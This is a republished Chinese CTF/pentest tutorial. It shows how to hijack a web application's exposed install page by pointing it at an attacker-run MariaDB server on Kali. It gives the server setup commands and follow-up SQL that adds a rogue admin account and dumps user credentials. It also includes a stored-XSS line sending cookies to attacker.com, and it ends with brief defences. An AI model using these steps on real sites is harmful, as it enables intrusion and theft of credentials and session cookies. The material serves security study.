欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 创投人物 > 打靶笔记:利用站点Install功能连接Kali本地数据库

打靶笔记:利用站点Install功能连接Kali本地数据库

2025/3/21 15:51:09 来源:https://blog.csdn.net/2301_79518550/article/details/146027894  浏览:    关键词:打靶笔记:利用站点Install功能连接Kali本地数据库

在渗透测试或 CTF 环境中,利用目标系统网站的 Install 功能可能可以进行数据库连接的配置,进而引导目标系统连接到我们控制的数据库(如 Kali 本地的 MySQL)。本文介绍如何通过该思路来实现攻击目标站点,让其将数据库连接到 Kali 服务器上,从而进行数据收集或进一步利用。


一、思路分析

某些 CMS 或 Web 应用的安装程序在首次运行时,会要求用户提供数据库信息,比如:

  • 数据库主机(host)
  • 数据库名称(database)
  • 数据库用户名(user)
  • 数据库密码(password)

如果目标站点的安装流程允许用户自定义数据库信息,并且没有严格的安全校验,我们可以尝试让其连接到我们的 Kali 服务器上的 MySQL 数据库。通过这一方式,我们可以:

  • 控制数据库:目标站点的数据库结构、数据可能会暴露给我们。
  • 获取凭据:如果站点的安装过程涉及创建管理员账号,我们可能获取该账号的哈希密码。
  • 进一步攻击:如果站点连接了我们的数据库,我们可以尝试通过 SQL 语句进行后续攻击,如 RCE(远程代码执行)。

二、环境准备

在 Kali Linux 上,我们需要:

  1. 安装 MySQL 并创建数据库
  2. 创建允许远程访问的数据库用户
  3. 修改 MySQL 配置,允许外部访问
  4. 开启防火墙端口,确保目标主机能够连接到数据库

三、实现步骤

1. 安装 MySQL 并创建数据库

Kali 可能默认没有安装 MySQL(MariaDB),需要手动安装:

sudo apt update
sudo apt install mariadb-server -y

启动 MySQL:

sudo systemctl start mariadb
sudo systemctl enable mariadb

登录 MySQL:

sudo mysql -u root

然后创建一个数据库,例如 hacked_db

CREATE DATABASE hacked_db;

2. 创建远程访问用户并授权

MySQL 默认不允许 root 用户远程登录,因此我们需要创建一个新用户,并授权远程访问:

CREATE USER 'attacker'@'%' IDENTIFIED BY 'StrongPassword123!';
GRANT ALL PRIVILEGES ON hacked_db.* TO 'attacker'@'%';
FLUSH PRIVILEGES;

这里:

  • 'attacker'@'%' 表示允许任意 IP 访问(可以限制为目标 IP)。
  • StrongPassword123! 需要替换为一个强密码(或者用于钓鱼的密码)。

3. 修改 MySQL 配置,允许远程连接

默认情况下,MySQL 只监听 127.0.0.1,需要修改配置以允许外部访问:

sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf

找到以下行:

bind-address = 127.0.0.1

改为:

bind-address = 0.0.0.0

在这里插入图片描述

保存后,重启 MySQL:

sudo systemctl restart mariadb

4. 配置防火墙,开放 3306 端口

如果 Kali 运行了防火墙(iptables 或 ufw),需要开放 MySQL 端口:

sudo ufw allow 3306/tcp
sudo ufw reload

或者使用 iptables

sudo iptables -A INPUT -p tcp --dport 3306 -j ACCEPT

四、攻击目标 Install 站点

现在,Kali 的 MySQL 服务器已经可以被外部访问。我们可以访问目标站点的安装页面(通常是 /install.php/setup.php),然后输入 Kali 服务器的数据库信息:

  • 数据库主机Kali_IP(例如 192.168.1.100
  • 数据库名称hacked_db
  • 用户名attacker
  • 密码StrongPassword123!

在这里插入图片描述

如果目标站点接受了这些参数并成功连接,我们可以:

  1. 查看数据库结构:有些 CMS 会自动创建表结构,我们可以观察其字段,寻找敏感信息。
  2. 拦截敏感数据:如果站点存储了用户凭据,我们可以尝试获取。
  3. 利用 SQL 语句进行后续攻击:例如 LOAD DATA LOCAL INFILE 可能被滥用来读取目标服务器的文件。

五、后续利用

当目标站点连接到我们的数据库后,我们可以尝试:

  1. 添加管理员账户

    INSERT INTO users (username, password, role) VALUES ('admin', MD5('password123'), 'admin');
    

    如果目标 CMS 允许直接登录,我们可以用 admin/password123 进入后台。

  2. 修改配置,获取 RCE
    如果 CMS 允许存储自定义配置,我们可以尝试写入 PHP 代码:

    INSERT INTO settings (key, value) VALUES ('site_footer', '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>');
    
  3. 数据钓鱼
    如果目标站点存储了用户密码,我们可以抓取它们:

    SELECT username, password FROM users;
    

六、防御措施

为了防止此类攻击,管理员应该:

  • 禁用 Install 站点或设置访问权限
  • 限制数据库的外部连接
  • 使用强密码并定期更改
  • 启用 Web 应用防火墙(WAF)
  • 在安装后删除或重命名 /install.php

七、总结

本次实验展示了如何利用目标 Web 站点的 Install 配置,让其连接到 Kali 服务器上的 MySQL,并进一步进行数据收集或利用。这种方法在实际渗透测试中可能用于:

  • 获取数据库信息
  • 劫持 Web 应用
  • 存储 XSS 或 SQL 注入

但同时,防御者也需要意识到这一攻击途径,并采取相应的安全措施。


⚠️ 免责声明

本文仅用于合法的渗透测试和安全研究,切勿用于非法目的,否则后果自负!

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词